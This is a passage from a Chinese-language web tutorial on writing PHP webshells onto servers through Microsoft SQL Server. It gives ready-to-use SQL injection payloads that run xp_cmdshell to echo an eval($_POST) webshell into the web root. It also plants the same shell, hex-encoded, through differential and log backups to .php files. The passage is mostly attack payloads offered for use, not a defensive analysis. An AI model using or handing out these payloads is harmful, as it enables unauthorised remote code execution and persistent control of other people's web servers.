三大數(shù)據(jù)庫如何寫入WebShell?
開啟了xp_cmsshell之后我們就可以執(zhí)行CMD命令了,例如:
for /r c: %i in (1*.php) do @echo %i
就可以查詢c:目錄下的所有符合1*.php的文件,同理,在實際應用中,我們也是新建一個表,并將xp_cmdshell查詢到的信息插入后,再次查詢即可。
圖11:執(zhí)行CMD命令查詢
(2)使用xp_cmdshell寫入WebShell
我們可以通過xp_cmdshell執(zhí)行系統(tǒng)CMD命令,例如我們可以使用CMD中的echo命令,將WebShell的代碼寫入到網(wǎng)站目錄下,所以我們必須提前知道Web目錄的絕對路徑。
PAYLOAD:1’;execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:PhpStudy20180211PHPTutorialWWWcmd.php';
圖12:Web目錄的絕對路徑
(3)使用差異備份寫入WebShell
首先對某一數(shù)據(jù)庫進行備份。
PAYLOAD:id = 1’;backup database 庫名 to disk = 'F:PhpStudy20180211PHPTutorialWWWback.bak';
圖13:數(shù)據(jù)庫備份
其次將WebShell代碼寫入數(shù)據(jù)庫中,
PAYLOAD:id = 1’; create table cybk([cmd] [image]);#創(chuàng)建一個新表
PAYLOAD:id=1’;insertintocybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#將WebShell的代碼轉(zhuǎn)換成ASCII碼
圖14:將WebShell的代碼轉(zhuǎn)換成ASCII碼
最后將此數(shù)據(jù)庫進行差異備份,這樣其中就會包含剛剛寫入的WebShell代碼。
PAYLOAD:id=1’; backup database library todisk='F:PhpStudy20180211PHPTutorialWWWcybk.php' WITHDIFFERENTIAL,F(xiàn)ORMAT;
圖15:將此數(shù)據(jù)庫進行差異備份
圖16:寫入的WebShell代碼
(4)使用log備份寫入WebShell
使用Log備份寫入WebShell的要求是他的數(shù)據(jù)庫已經(jīng)備份過,而且要選擇完整模式的恢復模式,相比較差異備份而言,使用Log備份文件會小的多。
首先需要將數(shù)據(jù)庫設置為完整恢復模式,然后創(chuàng)建一個新表,將WebShell用Ascii編碼后寫入其中,然后將該數(shù)據(jù)庫的日志信息導出到Web目錄,即可。
圖17:將WebShell用Ascii編碼寫入新表
可在Web目錄下找到導出的日志文件,其中包含了WebShell的代碼。
圖18:日志文件中WebShell的代碼

請輸入評論內(nèi)容...
請輸入評論/評論長度6~500個字
圖片新聞